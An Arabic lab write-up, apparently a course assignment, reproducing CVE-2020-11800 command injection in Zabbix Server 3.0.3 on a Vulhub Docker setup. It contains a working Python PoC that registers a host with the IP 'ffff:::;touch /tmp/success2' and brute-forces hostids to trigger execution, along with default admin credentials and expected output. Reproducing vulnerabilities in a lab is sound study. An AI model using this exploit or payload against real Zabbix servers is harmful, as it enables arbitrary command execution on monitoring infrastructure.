
استغلال PoC لـ CVE-2020-11800، وهو حقن أوامر في خادم Zabbix عبر التسجيل التلقائي لعامل ضار، مع تسليم الحمولة المستند إلى بايثون وتخمين معرف المضيف بالقوة الغاشمة.
الأقسام المطلوبة وفقًا لإرشادات الواجب محددة بـ "(مطلوب)".
تستخدم هذه البيئة Dockerfile مخصصًا يعتمد على صورة خادم Zabbix الضعيفة التي يوفرها Vulhub.
FROM vulhub/zabbix:3.0.3-server
يقوم Dockerfile ببناء صورة محلية باستخدام بيئة خادم Zabbix 3.0.3 الضعيفة. لم يتم إضافة أي حزم أو تكوينات إضافية أثناء عملية البناء.
تم تكوين البيئة الضعيفة باستخدام Docker Compose.
تتكون البيئة من أربع خدمات:
تم بناء خدمة server محليًا باستخدام Dockerfile:
server:
build: .
image: cve-2020-11800-server
يقوم حاوية MySQL باستيراد ملفات تهيئة SQL تلقائيًا من دليل src/ باستخدام تركيب الحجم:
volumes:
- ./src/:/docker-entrypoint-initdb.d/
يسمح هذا بتحميل مخطط قاعدة البيانات وبيانات Zabbix الأولية تلقائيًا عند بدء تشغيل الحاوية.
تعمل البيئة باستخدام الهيكل التالي:
[متصفح]
↓
[Zabbix Web]
↓
[خادم Zabbix]
↓
[MySQL]
[وكيل] → [خادم]
يوفر واجهة الإدارة المستندة إلى الويب التي يمكن الوصول إليها من خلال المتصفح.
يقوم المسؤول بتكوين التسجيل التلقائي وتنفيذ العمليات المتعلقة بالمراقبة من خلال هذه الواجهة.
المكوّن الأساسي المسؤول عن:
يتم تشغيل ثغرة حقن الأوامر داخل هذه الحاوية.
يعمل كمضيف مراقب ويتواصل مع خادم Zabbix.
يستغل الاستغلال آلية التسجيل التلقائي أثناء عملية تسجيل الوكيل.
يخزن بيانات تكوين Zabbix ومعلومات المضيف والبيانات المتعلقة بالمراقبة.
| الخدمة | الصورة | الإصدار |
|---|---|---|
| Zabbix Server | vulhub/zabbix | 3.0.3-server |
| Zabbix Web | vulhub/zabbix | 3.0.3-web |
| MySQL | mysql | 5 |
تعتمد البيئة على بيئة Zabbix 3.0.3 الضعيفة التي يوفرها Vulhub.
CVE-2020-11800 هي ثغرة حقن أوامر في وظيفة Active Proxy Trapper في خادم Zabbix.
توجد الثغرة لأن التصحيح لـ CVE-2017-2824 كان غير مكتمل. يمكن للمهاجم تجاوز التصحيح الأصلي باستخدام حمولة بنمط IPv6 وتنفيذ أوامر عشوائية على خادم Zabbix.
يتم تشغيل الثغرة أثناء عملية التسجيل التلقائي عندما يعالج الخادم معلومات المضيف التي يتحكم بها المستخدم.
السبب الجذري للثغرة هو المعالجة غير الآمنة للإدخال الذي يتحكم به المستخدم داخل أوامر الصدفة.
أثناء تنفيذ البرنامج النصي، يستخدم خادم Zabbix قيمة IP المضيف المسجلة لبناء أوامر مثل:
ping <host_ip>
في الظروف العادية:
ping 127.0.0.1
ومع ذلك، إذا قام المهاجم بتسجيل مضيف باستخدام الحمولة التالية:
ffff:::;touch /tmp/success2
يصبح الأمر النهائي الذي تنفذه الصدفة:
ping ffff:::;touch /tmp/success2
لأن الفاصلة المنقوطة (;) تعمل كفاصل أوامر في الصدفة، تفسر الصدفة الإدخال كأمرين منفصلين:
ping ffff:::
touch /tmp/success2
ونتيجة لذلك، يصبح تنفيذ الأوامر العشوائية ممكنًا.
حاول التصحيح الأصلي لـ CVE-2017-2824 تقييد قيم الإدخال الضارة.
ومع ذلك، لم يعالج منطق التحقق بشكل صحيح الإدخال بنمط IPv6.
الحمولة:
ffff:::;touch /tmp/success2
تستخدم بادئة تشبه IPv6 (ffff:::) لتجاوز منطق التحقق الحالي مع استمرار حقن أحرف الصدفة الوصفية.
يسمح هذا للمهاجمين بتجاوز التصحيح السابق ومواصلة استغلال ثغرة حقن الأوامر.
تحدث عملية الاستغلال بالترتيب التالي:
المهاجم
↓
تسجيل وكيل مزيف
↓
تخزين IP ضار
↓
تنفيذ برنامج Zabbix النصي
↓
بناء أمر الصدفة
↓
حقن الأوامر
↓
تنفيذ الأوامر العشوائية
يرسل المهاجم أولاً طلب تسجيل تلقائي ضار يحتوي على حقل IP معد.
بعد تسجيل المضيف، ينفذ خادم Zabbix برنامجًا نصيًا للمراقبة باستخدام قيمة IP المضيف المخزنة.
خلال هذه العملية، يتم تفسير الحمولة الضارة بواسطة الصدفة، مما يؤدي إلى تنفيذ أوامر عشوائية.
يسمح الاستغلال للمهاجمين بتنفيذ أوامر عشوائية بصلاحيات عملية خادم Zabbix.
في هذه البيئة، أنشأ الاستغلال الناجح الملف التالي داخل حاوية الخادم:
/tmp/success2
يؤكد هذا أن أوامر الصدفة المحقونة تم تنفيذها بنجاح.
في بيئة حقيقية، قد يسمح الاستغلال الناجح للمهاجمين بما يلي:
تعتبر الثغرة خطيرة بشكل خاص لأن خوادم المراقبة غالبًا ما تتمتع برؤية للعديد من الأنظمة الداخلية ومكونات البنية التحتية.
تم كتابة إثبات المفهوم (PoC) بلغة Python ويتواصل مباشرة مع خادم Zabbix عبر منفذ TCP 10051.
يقوم PoC بالإجراءات التالية:
hostid صالحةimport sys
import socket
import json
def send(ip, data):
conn = socket.create_connection((ip, 10051), 10)
conn.send(json.dumps(data).encode())
response = conn.recv(2048)
conn.close()
return response
if len(sys.argv) != 2:
print("Usage: python3 exploit.py <target-ip>")
sys.exit(1)
target = sys.argv[1]
payload = {
"request": "active checks",
"host": "vulhub",
"ip": "ffff:::;touch /tmp/success2"
}
print("[*] Sending malicious auto-registration request...")
print(send(target, payload))
print("[*] Brute forcing hostid and triggering script execution...")
for i in range(10000, 10500):
data = send(target, {
"request": "command",
"scriptid": 1,
"hostid": str(i)
})
if data and b'failed' not in data:
print("[+] hostid: %d" % i)
print(data)
الحمولة المستخدمة في هذا PoC هي:
ffff:::;touch /tmp/success2
| الجزء | الغرض |
|---|---|
ffff::: | بادئة تشبه IPv6 تستخدم لتجاوز التحقق |
; | فاصل أوامر الصدفة |
touch /tmp/success2 | أمر عشوائي يتم تنفيذه على الخادم |
تستغل الحمولة حقيقة أن الخادم يدمج قيم IP التي يتحكم بها المستخدم بشكل غير صحيح في أوامر الصدفة.
يتم تسليم الحمولة من خلال حقل ip أثناء عملية التسجيل التلقائي.
يحاول الطلب الأول الذي يرسله PoC تسجيل مضيف ضار.
payload = {
"request": "active checks",
"host": "vulhub",
"ip": "ffff:::;touch /tmp/success2"
}
بعد التسجيل، يحاول Poc العثور على hostid صالح.
for i in range(10000, 10500):
يتكرر PoC عبر نطاق من معرفات المضيف الممكنة ويحاول تشغيل تنفيذ البرنامج النصي.
هذه الخطوة ضرورية لأن الخادم يعين معرفات المضيف ديناميكيًا بعد التسجيل.
يؤدي الطلب التالي إلى تشغيل تنفيذ الأمر:
{
"request": "command",
"scriptid": 1,
"hostid": str(i)
}
| المعامل | الوصف |
|---|---|
request | طلب تنفيذ البرنامج النصي |
scriptid | معرف برنامج Zabbix النصي المُعد |
hostid | معرف المضيف الهدف |
في هذه البيئة، يتوافق scriptid:1 مع برنامج نصي متعلق بـ ping يستخدم قيمة IP المضيف أثناء تنفيذ الأمر.
يقوم خادم Zabbix داخليًا ببناء أمر صدفة مشابه لـ:
ping ffff:::;touch /tmp/success2
تفسر الصدفة هذا على النحو التالي:
ping ffff:::
touch /tmp/success2
ونتيجة لذلك:
touch المحقون بنجاحأثناء الاستغلال الناجح، قد يظهر الإخراج التالي:
ping: bad address 'ffff:::'
يشير هذا إلى أن الحمولة وصلت إلى مرحلة تنفيذ أمر الصدفة الضعيف.
يتم تأكيد الاستغلال الناجح عند وجود الملف التالي داخل حاوية الخادم:
/tmp/success2
يتم تلخيص تدفق الاستغلال الكامل أدناه:
بدء بيئة Docker
↓
الوصول إلى واجهة Zabbix على الويب
↓
تمكين التسجيل التلقائي
↓
تشغيل exploit.py
↓
تسجيل مضيف ضار
↓
تشغيل تنفيذ البرنامج النصي
↓
حقن الأوامر
↓
التحقق من /tmp/success2
ابدأ تشغيل البيئة الضعيفة باستخدام Docker Compose.
docker compose up -d
تحقق من تشغيل جميع الحاويات بشكل صحيح.
docker compose ps
يجب أن تشمل البيئة الحاويات التالية:
افتح المتصفح وادخل إلى واجهة Zabbix على الويب.
http://127.0.0.1:8080
بيانات الاعتماد الافتراضية:
اسم المستخدم: admin
كلمة المرور: zabbix
يتطلب الاستغلال تمكين ميزة التسجيل التلقائي.
انتقل إلى:
Configuration → Actions
غيّر مصدر الحدث إلى:
Auto registration
أنشئ إجراءً جديدًا وقم بتكوين العملية التالية:
Operation Type: Add Host
يسمح هذا بإضافة الوكلاء المسجلين حديثًا تلقائيًا إلى الخادم.
نفذ برنامج PoC النصي.
python3 exploit.py 127.0.0.1
يقوم PoC بإرسال طلب تسجيل تلقائي ضار ويحاول تشغيل تنفيذ الأمر باستخدام معرفات مضيف متعددة.
أثناء الاستغلال الناجح، قد يظهر إخراج مشابه لما يلي:
hostid: 10106
{"response":"success","data":"ping: bad address 'ffff:::'"}
يشير هذا إلى أن الحمولة وصلت إلى مسار تنفيذ أمر الصدفة الضعيف.
ادخل إلى حاوية خادم Zabbix.
docker exec -it cve-2020-11800-server-1 bash
تحقق مما إذا كان الأمر المحقون قد أنشأ الملف الهدف.
ls -l /tmp/success2
ينتج عن الاستغلال الناجح إخراج مشابه لـ:
-rw-rw-r-- 1 zabbix zabbix 0 May 10 19:48 /tmp/success2
يؤكد هذا تنفيذ الأوامر العشوائية بنجاح داخل حاوية خادم Zabbix.
تم تضمين لقطات الشاشة التالية في دليل screenshots/:

